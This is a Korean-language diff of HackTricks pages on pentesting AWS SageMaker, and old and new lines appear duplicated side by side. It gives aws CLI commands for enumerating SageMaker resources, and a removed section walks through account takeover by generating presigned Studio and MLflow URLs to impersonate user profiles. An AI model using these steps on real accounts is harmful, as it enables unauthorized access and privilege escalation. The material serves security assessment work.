- **Feature Store & Data Wrangler**: 데이터 준비와 feature 관리를 위한 관리형 서비스입니다.
- **Autopilot & JumpStart**: 자동화된 ML과 선별된 모델 카탈로그입니다.
- **MLflow Tracking Servers**: presigned access tokens가 있는 관리형 MLflow UI/API입니다.
- **Training / Processing / Transform Jobs**: ECR에서 코드를, S3에서 데이터를 가져오는 임시 컨테이너.
- **Pipelines & Experiments**: 모든 단계, 입력, 출력을 기술하는 오케스트레이션된 워크플로.
- **Models & Endpoints**: HTTPS endpoints를 통해 추론을 위해 배포되는 패키지된 아티팩트.
- **Feature Store & Data Wrangler**: 데이터 준비와 feature 관리를 위한 관리형 서비스.
- **Autopilot & JumpStart**: 자동화된 ML과 큐레이션된 모델 카탈로그.
- **MLflow Tracking Servers**: presigned access tokens가 있는 관리형 MLflow UI/API.
모든 리소스는 execution role, S3 위치, container images, 및 선택적 VPC/KMS 구성에 대한 참조를 포함하므로 열거(enumeration) 시 모두 캡처해야 합니다.
모든 리소스는 execution role, S3 위치, 컨테이너 이미지, 선택적 VPC/KMS 구성 등을 참조합니다—enumeration 동안 이들 모두를 수집하세요.
## 계정 및 전역 메타데이터
```bash
@@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
# Generic tag sweep across any SageMaker ARN you know
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
```
교차 계정 신뢰(실행 역할 또는 외부 프린시플이 있는 S3 버킷) 및 서비스 제어 정책(service control policies) 또는 SCPs와 같은 기본 제한 사항을 기록하세요.
cross-account trust (execution roles or S3 buckets with external principals) 및 service control policies 또는 SCPs와 같은 기본 제한사항을 확인하고 기록하세요.
## Studio Domains, Apps & Shared Spaces
## Studio 도메인, 앱 및 공유 공간
```bash
aws sagemaker list-domains --region $REGION
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
@@ -60,27 +60,27 @@ aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --regi
aws sagemaker list-studio-lifecycle-configs --region $REGION
aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
```
What to record:
기록할 항목:
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
- 마운트된 EFS (`HomeEfsFileSystemId`) 및 S3 홈 디렉터리.
- 라이프사이클 스크립트(종종 부트스트랩 자격 증명이나 추가 코드 push/pull하는 내용 포함).
- Lifecycle scripts (종종 bootstrap 자격증명이나 추가 코드 push/pull을 포함합니다).
> [!TIP]
> Presigned Studio URLs는 광범위하게 부여된 경우 인증을 우회할 수 있습니다.
> Presigned Studio URLs는 광범위하게 부여되면 인증을 우회할 수 있습니다.
## 노트북 인스턴스 및 라이프사이클 구성
## Notebook Instances & Lifecycle Configs
```bash
aws sagemaker list-notebook-instances --region $REGION
aws sagemaker describe-notebook-instance --notebook-instance-name <name> --region $REGION
aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
```
Notebook 메타데이터에서 확인되는 내용:
노트북 메타데이터는 다음을 드러냅니다:
- 실행 역할 (`RoleArn`), 직접 인터넷 접근 vs. VPC-only 모드.
- S3 위치: `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
- 자격 증명이나 영속성 훅을 위한 라이프사이클 스크립트.
- 실행 역할 (`RoleArn`), 직접 인터넷 액세스 여부(또는 VPC 전용 모드).
- `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`에 있는 S3 위치.
- 자격증명 또는 persistence 후크를 위한 라이프사이클 스크립트.
## 학습, 처리, 변환 및 배치 작업
```bash
@@ -93,10 +93,12 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
aws sagemaker list-transform-jobs --region $REGION
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
```
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 어떤 ECR 이미지가 배포되어 있는지.
- `InputDataConfig` & `OutputDataConfig` – S3 버킷, 접두사 및 KMS 키.
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 네트워크 또는 암호화 구성 상태를 판단.
- `HyperParameters`는 환경 비밀이나 연결 문자열을 leak할 수 있습니다.
면밀히 검토:
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 어떤 ECR 이미지가 배포되었는지.
- `InputDataConfig` & `OutputDataConfig` – S3 버킷, 프리픽스, 및 KMS 키.
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 네트워크 또는 암호화 구성을 판단.
- `HyperParameters` 환경 비밀 또는 연결 문자열을 leak할 수 있음.
## 파이프라인, 실험 및 트라이얼
```bash
@@ -108,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
```
파이프라인 정의는 각 단계, 연관된 역할, 컨테이너 이미지 및 환경 변수를 상세히 설명합니다. Trial 구성 요소는 종종 학습 아티팩트 URIs, S3 로그 및 민감한 데이터 흐름을 암시하는 메트릭 포함되어 있습니다.
파이프라인 정의는 각 단계, 관련 역할, 컨테이너 이미지 및 환경 변수를 상세히 기술합니다. 실험 구성 요소는 종종 학습 아티팩트 URI, S3 로그 및 민감한 데이터 흐름을 암시하는 메트릭 포함니다.
## 모델, 엔드포인트 구성 및 배포된 엔드포인트
```bash
@@ -121,9 +123,11 @@ aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $RE
aws sagemaker list-endpoints --region $REGION
aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
```
- 모델 아티팩트 S3 URIs (`PrimaryContainer.ModelDataUrl`) 및 추론 컨테이너 이미지.
- 엔드포인트 데이터 캡처 구성 (S3 bucket, KMS) — 가능한 로그 유출 대비.
- S3DataSource 또는 `ModelPackage`를 사용하는 다중 모델 엔드포인트 (계정 간 패키징 확인).
중점 영역:
- 모델 아티팩트 S3 URI들 (`PrimaryContainer.ModelDataUrl`) 및 추론 컨테이너 이미지.
- 로그 exfil 가능성을 고려한 Endpoint 데이터 캡처 구성 (S3 버킷, KMS).
- S3DataSource 또는 ModelPackage를 사용하는 멀티 모델 엔드포인트 (크로스-계정 패키징 여부 확인).
- 엔드포인트에 연결된 네트워크 구성 및 보안 그룹.
## Feature Store, Data Wrangler & Clarify
@@ -137,13 +141,13 @@ aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
aws sagemaker list-model-quality-job-definitions --region $REGION
aws sagemaker list-model-monitoring-schedule --region $REGION
```
보안 시사점:
보안 요약:
- Online feature stores는 데이터를 Kinesis로 복제합니다; `OnlineStoreConfig.SecurityConfig.KmsKeyId`와 VPC를 확인하세요.
- Data Wrangler flows는 종종 JDBC/Redshift 자격 증명이나 프라이빗 엔드포인트를 포함합니다.
- Clarify/Model Monitor 작업은 데이터를 S3로 내보내며, 해당 데이터가 공개(모든 사용자에게 읽기 가능)거나 계정 접근이 가능할 수 있습니다.
- Online feature store는 데이터를 Kinesis로 복제합니다; `OnlineStoreConfig.SecurityConfig.KmsKeyId`와 VPC를 확인하세요.
- Data Wrangler flows는 종종 JDBC/Redshift 자격증명 또는 프라이빗 엔드포인트를 포함합니다.
- Clarify/Model Monitor 작업은 데이터를 S3로 내보내며, 해당 데이터가 퍼블릭(읽기 가능)거나 교차 계정 접근이 가능할 수 있습니다.
## MLflow Tracking Servers, Autopilot & JumpStart
## MLflow 추적 서버, Autopilot & JumpStart
```bash
aws sagemaker list-mlflow-tracking-servers --region $REGION
aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
@@ -154,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
aws sagemaker list-jumpstart-models --region $REGION
aws sagemaker list-jumpstart-script-resources --region $REGION
```
- MLflow tracking servers는 실험과 아티팩트(artefacts)를 저장합니다; presigned URLs는 모든 것을 노출시킬 수 있습니다.
- Autopilot jobs는 여러 training jobs를 실행합니다숨겨진 데이터를 찾기 위해 outputs를 열거하세요.
- JumpStart reference architectures는 계정에 privileged roles를 배포할 수 있습니다.
- MLflow tracking servers는 실험과 아티팩트를 저장하며, 사전 서명된 URL 모든 것을 노출시킬 수 있습니다.
- Autopilot 작업은 여러 training jobs를 실행합니다숨겨진 데이터를 찾기 위해 출력물을 열거하세요.
- JumpStart reference architectures는 계정에 권한이 높은 역할을 배포할 수 있습니다.
## IAM & Networking 고려사항
## IAM 및 네트워킹 고려사항
- 모든 execution roles(Studio, notebooks, training jobs, pipelines, endpoints)에 연결된 IAM policies를 열거하세요.
- 네트워크 컨텍스트를 확인하세요: subnets, security groups, VPC endpoints. 많은 조직이 training jobs를 격리하지만 outbound traffic 제한을 잊습니다.
- 외부 접근을 위해 `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`에서 참조되는 S3 버킷 정책을 검토하세요.
- 모든 실행 역할(Studio, notebooks, training jobs, pipelines, endpoints)에 연결된 IAM 정책을 나열하세요.
- 네트워크 컨텍스트를 확인하세요: subnets, security groups, VPC endpoints. 많은 조직이 training jobs를 격리하지만 아웃바운드 트래픽 제한을 잊습니다.
- 외부 액세스 관점에서 `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`에서 참조되는 S3 버킷 정책을 검토하세요.
## Privilege Escalation
@@ -188,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
../aws-sagemaker-unauthenticated-enum/README.md
{{#endref}}
## 참고 자료
## 참고자료
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
@@ -1,108 +1,13 @@
# AWS - SageMaker 무단 접근
# AWS - SageMaker 무단 액세스
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
## SageMaker용 사전 서명된 URL
### 설명
타겟 Studio `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`을 호출할 수 있는 권한을 가진 주체는 해당 프로필로 직접 인증되는 로그인 URL을 생성할 수 있습니다. 이는 공격자의 브라우저에 프로필의 `ExecutionRole` 권한을 상속받고 프로필의 EFS 기반 홈 및 앱에 대한 전체 접근 권한을 가진 Studio 세션을 제공합니다. `iam:PassRole`이나 콘솔 접근은 필요하지 않습니다.
공격자가 SageMaker 리소스에 대한 사전 서명된 URL을 얻는 데 성공하면 추가 인증 없이 해당 리소스에 액세스할 수 있습니다. 권한 및 접근 수준은 리소스에 연결된 역할에 따라 달라집니다:
### 요구사항
- SageMaker Studio `Domain` 및 그 안의 대상 `UserProfile`.
- 공격자 주체는 대상 `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`(리소스‑레벨) 또는 `*` 권한이 필요합니다.
최소 권한 정책 예시 (하나의 UserProfile로 범위 지정):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
### 악용 단계
1) 대상으로 삼을 수 있는 Studio Domain과 UserProfiles를 열거합니다
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) presigned URL 생성 (기본적으로 약 5분 동안 유효)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
3) 반환된 URL을 브라우저에서 열어 대상 사용자로 Studio에 로그인합니다. Studio 내부의 Jupyter 터미널에서 적용된 계정을 확인합니다:
```bash
aws sts get-caller-identity
```
Notes:
- `--landing-uri`는 생략할 수 있습니다. 일부 값(e.g., `app:JupyterLab:/lab`)은 Studio의 flavor/version에 따라 거부될 수 있으며; 기본값은 일반적으로 Studio 홈으로 리다이렉트한 후 Jupyter로 이동합니다.
- 조직 정책/VPC 엔드포인트 제한으로 인해 네트워크 접근이 여전히 차단될 수 있습니다; 토큰 발급은 콘솔 로그인이나 `iam:PassRole`을 필요로 하지 않습니다.
### Impact
- 허용된 ARN을 가진 어떤 Studio `UserProfile`라도 가정(assume)함으로써 해당 `ExecutionRole`과 파일시스템/앱을 상속받아 측면 이동(lateral movement) 및 권한 상승(privilege escalation)이 가능합니다.
### Evidence (from a controlled test)
- 대상 `UserProfile``sagemaker:CreatePresignedDomainUrl`만 있을 때, 공격자 역할은 다음과 같은 `AuthorizedUrl`을 성공적으로 반환했습니다:
```
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
```
- 직접 HTTP 요청은 Studio로 리다이렉트(HTTP 302)로 응답하여 해당 URL이 만료될 때까지 유효하고 활성 상태임을 확인합니다.
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
### 설명
대상 SageMaker MLflow Tracking Server에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl`를 호출할 수 있는 권한을 가진 주체는 해당 서버의 관리되는 MLflow UI에 직접 인증하는 단일 사용 presigned URL을 발급할 수 있습니다. 이는 콘솔 액세스나 `iam:PassRole` 없이도 합법적인 사용자가 서버에서 가지는 동일한 접근 권한(실험 및 런 보기/생성, 서버의 S3 artifact 저장소에서 아티팩트 다운로드/업로드)을 부여합니다.
### 요구 사항
- 계정/리전 내에 SageMaker MLflow Tracking Server와 해당 서버의 이름이 있어야 합니다.
- 공격자 principal은 대상 MLflow Tracking Server 리소스(또는 `*`)에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 권한이 필요합니다.
최소 정책 예시(하나의 Tracking Server에만 범위 지정):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
}
]
}
```
### 악용 단계
1) 대상으로 삼을 수 있는 MLflow Tracking Servers를 열거하고 하나의 이름을 선택하세요
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) 사전 서명된 MLflow UI URL 생성 (짧은 시간 동안 유효)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--expires-in-seconds 300 \
--session-expiration-duration-in-seconds 1800 \
--query AuthorizedUrl --output text
```
3) 반환된 URL을 브라우저에서 열어 해당 Tracking Server의 인증된 사용자로서 MLflow UI에 액세스합니다.
Notes:
- The Tracking Server must be in a ready state (e.g., `Created/Active`). If it is still `Creating`, the call will be rejected.
- The presigned URL is singleuse and shortlived; generate a new one when needed.
### 영향
- 타깃 Tracking Server의 관리되는 MLflow UI에 직접 접근할 수 있습니다. 이를 통해 서버 구성으로 설정된 S3 artifact store에 저장된 아티팩트를 조회하거나 업로드하고, 실험/런을 조회·수정할 수 있으며, 이는 서버 구성에서 강제하는 권한 범위 내에서 가능합니다.
{{#ref}}
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}